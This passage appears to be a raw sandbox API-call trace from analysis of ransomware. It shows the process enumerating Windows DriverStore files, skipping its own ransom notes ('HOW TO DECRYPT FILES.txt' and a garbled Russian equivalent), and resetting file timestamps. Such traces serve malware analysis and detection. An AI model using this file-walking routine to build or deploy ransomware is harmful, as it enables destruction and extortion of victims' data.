lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.845] CloseHandle (hObject=0xffffffff) returned 0 [0144.845] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="bda.inf_loc", cAlternateFileName="")) returned 1 [0144.845] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.846] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bda.inf_loc") returned 1 [0144.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bda.inf_loc") returned 1 [0144.846] lstrcmpiA (lpString1="", lpString2="bda.inf_loc") returned -1 [0144.846] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\battery.inf_loc") returned="battery.inf_loc" [0144.846] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.846] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.846] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.846] CloseHandle (hObject=0xffffffff) returned 0 [0144.846] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="blbdrive.inf_loc", cAlternateFileName="")) returned 1 [0144.846] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.846] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="blbdrive.inf_loc") returned 1 [0144.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="blbdrive.inf_loc") returned 1 [0144.846] lstrcmpiA (lpString1="", lpString2="blbdrive.inf_loc") returned -1 [0144.846] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\bda.inf_loc") returned="bda.inf_loc" [0144.847] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.847] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.847] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.847] CloseHandle (hObject=0xffffffff) returned 0 [0144.847] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x27ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="brmfcmdm.inf_loc", cAlternateFileName="")) returned 1 [0144.847] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.847] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="brmfcmdm.inf_loc") returned 1 [0144.847] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="brmfcmdm.inf_loc") returned 1 [0144.847] lstrcmpiA (lpString1="", lpString2="brmfcmdm.inf_loc") returned -1 [0144.847] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\blbdrive.inf_loc") returned="blbdrive.inf_loc" [0144.847] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.847] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.848] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.848] CloseHandle (hObject=0xffffffff) returned 0 [0144.848] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x13b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brmfcmf.inf_loc", cAlternateFileName="")) returned 1 [0144.848] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.848] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="brmfcmf.inf_loc") returned 1 [0144.848] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="brmfcmf.inf_loc") returned 1 [0144.848] lstrcmpiA (lpString1="", lpString2="brmfcmf.inf_loc") returned -1 [0144.848] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\brmfcmdm.inf_loc") returned="brmfcmdm.inf_loc" [0144.848] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.849] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.849] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.849] CloseHandle (hObject=0xffffffff) returned 0 [0144.849] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="brmfcsto.inf_loc", cAlternateFileName="")) returned 1 [0144.849] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="brmfcsto.inf_loc") returned 1 [0144.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="brmfcsto.inf_loc") returned 1 [0144.849] lstrcmpiA (lpString1="", lpString2="brmfcsto.inf_loc") returned -1 [0144.849] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\brmfcmf.inf_loc") returned="brmfcmf.inf_loc" [0144.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.849] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.850] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.850] CloseHandle (hObject=0xffffffff) returned 0 [0144.850] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="brmfcumd.inf_loc", cAlternateFileName="")) returned 1 [0144.850] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.850] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\brmfcsto.inf_loc") returned="brmfcsto.inf_loc" [0144.850] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.850] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.850] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.851] CloseHandle (hObject=0xffffffff) returned 0 [0144.851] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="brmfcwia.inf_loc", cAlternateFileName="")) returned 1 [0144.851] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.851] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\brmfcumd.inf_loc") returned="brmfcumd.inf_loc" [0144.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.851] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.851] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.851] CloseHandle (hObject=0xffffffff) returned 0 [0144.852] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x179a, dwReserved0=0x0, dwReserved1=0x0, cFileName="brmfport.inf_loc", cAlternateFileName="")) returned 1 [0144.852] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.852] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\brmfcwia.inf_loc") returned="brmfcwia.inf_loc" [0144.852] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.852] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.852] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.852] CloseHandle (hObject=0xffffffff) returned 0 [0144.852] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa2b83, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcaa2b83, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x0, cFileName="bth.inf_loc", cAlternateFileName="")) returned 1 [0144.852] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.853] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\brmfport.inf_loc") returned="brmfport.inf_loc" [0144.853] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.853] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.853] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.853] CloseHandle (hObject=0xffffffff) returned 0 [0144.853] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="bthmtpenum.inf_loc", cAlternateFileName="")) returned 1 [0144.853] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.854] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\bth.inf_loc") returned="bth.inf_loc" [0144.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.854] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.854] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.854] CloseHandle (hObject=0xffffffff) returned 0 [0144.854] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bthpan.inf_loc", cAlternateFileName="")) returned 1 [0144.854] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.864] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\bthmtpenum.inf_loc") returned="bthmtpenum.inf_loc" [0144.865] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.865] CloseHandle (hObject=0xffffffff) returned 0 [0144.865] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="bthprint.inf_loc", cAlternateFileName="")) returned 1 [0144.865] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.865] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\bthpan.inf_loc") returned="bthpan.inf_loc" [0144.865] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.865] CloseHandle (hObject=0xffffffff) returned 0 [0144.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="bthspp.inf_loc", cAlternateFileName="")) returned 1 [0144.866] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.866] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\bthprint.inf_loc") returned="bthprint.inf_loc" [0144.866] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.866] CloseHandle (hObject=0xffffffff) returned 0 [0144.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdrom.inf_loc", cAlternateFileName="")) returned 1 [0144.866] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.867] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\bthspp.inf_loc") returned="bthspp.inf_loc" [0144.867] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.867] CloseHandle (hObject=0xffffffff) returned 0 [0144.867] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="circlass.inf_loc", cAlternateFileName="")) returned 1 [0144.867] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.867] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\cdrom.inf_loc") returned="cdrom.inf_loc" [0144.867] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.867] CloseHandle (hObject=0xffffffff) returned 0 [0144.868] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompositeBus.inf_loc", cAlternateFileName="")) returned 1 [0144.868] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.868] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\circlass.inf_loc") returned="circlass.inf_loc" [0144.868] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.868] CloseHandle (hObject=0xffffffff) returned 0 [0144.869] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x706, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.inf_loc", cAlternateFileName="")) returned 1 [0144.869] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.869] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\CompositeBus.inf_loc") returned="CompositeBus.inf_loc" [0144.869] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.869] CloseHandle (hObject=0xffffffff) returned 0 [0144.869] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="crcdisk.inf_loc", cAlternateFileName="")) returned 1 [0144.870] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.870] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\cpu.inf_loc") returned="cpu.inf_loc" [0144.870] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.870] CloseHandle (hObject=0xffffffff) returned 0 [0144.870] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="dc21x4vm.inf_loc", cAlternateFileName="")) returned 1 [0144.870] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.870] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\crcdisk.inf_loc") returned="crcdisk.inf_loc" [0144.871] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.871] CloseHandle (hObject=0xffffffff) returned 0 [0144.871] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalMediaDevice.inf_loc", cAlternateFileName="")) returned 1 [0144.871] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.871] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\dc21x4vm.inf_loc") 